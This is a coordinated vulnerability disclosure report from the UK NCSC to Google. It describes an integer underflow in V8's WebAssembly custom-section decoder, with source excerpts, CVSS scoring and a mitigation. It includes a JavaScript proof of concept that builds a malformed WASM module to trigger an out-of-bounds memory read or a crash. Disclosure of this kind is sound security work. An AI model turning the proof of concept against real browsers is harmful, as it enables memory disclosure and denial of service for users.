NCSC Vulnerability Report - Google Chrome - V8 JavaScript Engine
NCSC REF: 72092259 / VULNERABILITY ID: 495033
About This Document
------------------
This document details a vulnerability identified by the National Cyber Security Centre (NCSC) in Google's V8 JavaScript Engine.
Bug Bounty Payment
------------------
If this vulnerability is eligible for a Bug Bounty payment, we ask that the money be donated directly to NSPCC, (Registered Charity Number: 216401), https://www.nspcc.org.uk.
Please contact the NCSC mailbox to inform us of the donation amount and the donation date.
NCSC Contact Information
------------------------
The vulnerability disclosure mailbox is security@ncsc.gov.uk. Please contact us for our PGP key.
Crediting NCSC
------------------------
NCSC would appreciate appropriate credit as The UK's National Cyber Security Centre (NCSC) in any advisories which you may publish about this issue.
Verification, Resolution and Release
Please inform NCSC via the security@ncsc.gov.uk mailbox, quoting the NCSC Reference above, should you:
confirm that this is a security issue
allocate the issue a CVE identifier
determine a date to release a patch
determine a date to publish advisories
NCSC Disclosure Policy
------------------------
NCSC has adopted the ISO 29147 approach to vulnerability disclosure and, as such, follows a coordinated disclosure approach with affected parties. We have never publicly disclosed a vulnerability prior to a fix being made available.
NCSC recognises that vendors need a reasonable amount of time to mitigate a vulnerability, for example, to understand the impact to customers, to triage against other vulnerabilities, to implement a fix in coordination with others, and to make that fix available to its customers. As this will vary based on the exact situation NCSC does not define a set time frame in which a fix must be made available, and we are happy to discuss the circumstances of any particular disclosure.
If NCSC believes a vendor is not making appropriate progress with vulnerability resolution, we may, after discussion with the vendor, choose to share the details appropriately (for example, with service providers and our customers) to ensure that we provide appropriate mitigation of the threat to the UK and to UK interests.
Disclaimer
------------------------
Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.
Summary
-------
An integer underflow vulnerability has been discovered in the WebAssembly (WASM) feature of Google's V8 JavaScript engine which affects the latest version. The vulnerability can be exploited to cause a crash, or to disclose the contents of memory depending on the layout of the heap.
This vulnerability has a Severity Score of 4.3 and a Severity Rating (based on the Common Vulnerability Scoring System v2). The Severity Score and Severity Rating are calculated from the Exploitability and Impact Metrics in Table 1. Table 2 presents a summary of these vulnerability metrics.
CVSS
----
This vulnerability has a Severity Score of 4.3 and a Medium Severity Rating: AV:Network/AC:Medium/Au:None/C:None/I:None/A:Partial. The Common Weakness Enumeration ID is CWE-20: Improper Input Validation.
Details
-------
WebAssembly modules are defined by a header followed by a number of typed sections. Each of these sections uses a number to identify its type, followed by a section length and a pre-determined structure for the data relating to that type. Sections of a given type are optional, specified in numeric order, and can occur at most once in a module. As well as the pre-defined section types, it's possible to specify custom sections which can be used for storage of arbitrary data as part of a WASM module. Custom sections also contain a section length, which is followed by a string which is used to query the custom section by name at a later point.
Querying custom sections for a WASM module is done via the WebAssembly.Module.customSections function which is exposed to JavaScript. This function takes two arguments, a compiled WASM module and a string which represents the name of the custom section being requested. This function takes the module and re-parses it, focussing only on sections identified with the custom section type. Once it has a list of the custom sections of a module, it compares the name of each to the name being requested, and if a match is found, it returns the payload data.
The following code snippet from DecodeCustomSections shows the logic for re-parsing the module to look for custom sections:
src\wasm\module-decoder.cc
===============================================================================
while (decoder.more()) {
byte section_code = decoder.consume_u8("section code");
uint32_t section_length = decoder.consume_u32v("section length"); [1]
uint32_t section_start = decoder.pc_offset();
if (section_code != 0) {
// Skip known sections.
decoder.consume_bytes(section_length, "section bytes");
continue;
}
uint32_t name_length = decoder.consume_u32v("name length");
uint32_t name_offset = decoder.pc_offset();
decoder.consume_bytes(name_length, "section name");
uint32_t payload_offset = decoder.pc_offset();
uint32_t payload_length = section_length - (payload_offset - section_start); [2]
decoder.consume_bytes(payload_length); [3]
result.push_back({{section_start, section_length},
{name_offset, name_length},
{payload_offset, payload_length}});
}
===============================================================================
The loop starts by consuming a byte that represents the section type, and a variable length uint32 for the section length [1]. It then takes the current offset as the start of the section, and proceeded to parse the section name. The payload length is calculated as the section_length minus the length of the name string at [2], however no check is made to ensure that the section length is valid. Specifically, section_length is not verified to be greater than the length of the name portion of the section, which can cause the operation at [2] to underflow and return a large value as the payload_length. This should make the call to consume_bytes at [3] fail, but as this function uses its own decoder (which is not checked to detect if an error has occurred), result is populated with invalid values for the section.
Looking back at the calling function, the results are processed as follows:
src\wasm\wasm-module.cc
===============================================================================
for (auto& section : custom_sections) {
MaybeHandle<String> section_name =
WasmCompiledModule::ExtractUtf8StringFromModuleBytes(
isolate, compiled_module, section.name);
if (!name->Equals(*section_name.ToHandleChecked())) continue; [4]
...
memcpy(memory, start + section.payload.offset(), section.payload.length()); [5]
===============================================================================
At [4], we verify that the section's name matches what was requested in the call to WebAssembly.Module.customSections. If it does, we continue on to prepare to copy the section payload into an arraybuffer we will then return. At [5], memory represents the backing store of this arraybuffer, and the section.payload.length() is the invalid payload_length returned from DecodeCustomSections. This results in an out-of-bounds read off the end of start, which contains the WASM module bytes, but we quickly reach the end of the page.
Exploiting this issue will either leak the contents of several memory pages that are adjacent to our WASM module bytes, or cause an access violation as soon as it attempts to read a page which is not mapped.
Proof of Concept
------
The following proof-of-concept code will trigger this issue in a debug build of the d8 shell. The code creates an ArrayBuffer which represents the bytes of a WebAssembly module, and populates it with a single custom section with a name consisting of a long string of 'A's. It then compiles the module and asks for the custom section from the module, triggering the bug.
Note that this will trigger a DCHECK before crashing in the debug build - this can be commented out in order to see the impact of the bug in a release build (where the DCHECK would not be present).
test.js
===============================================================================
var string_len = 0x0ffffff0 - 19;
print("Allocating backing store");
var backing = new ArrayBuffer(string_len + 19);
print("Allocating typed array buffer");
var buffer = new Uint8Array(backing);
print("Filling...");
buffer.fill(0x41);
print("Setting up array buffer");
// Magic
buffer.set([0x00, 0x61, 0x73, 0x6D], 0);
// Version
buffer.set([0x01, 0x00, 0x00, 0x00], 4);
// kUnknownSection (0)
buffer.set([0], 8);
// Section length
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00], 9);
// Name length
buffer.set([0xDE, 0xFF, 0xFF, 0x7F], 14);
print("Parsing module...");
var m = new WebAssembly.Module(buffer);
print("Triggering!");
var c = WebAssembly.Module.customSections(m, "A".repeat(string_len + 1));
===============================================================================
Mitigation
----------
Values read from untrusted WebAssembly module bytes should be properly validated to ensure that they are correct and appropriate.
Comment 1 by elawrence@chromium.org, Nov 30 2017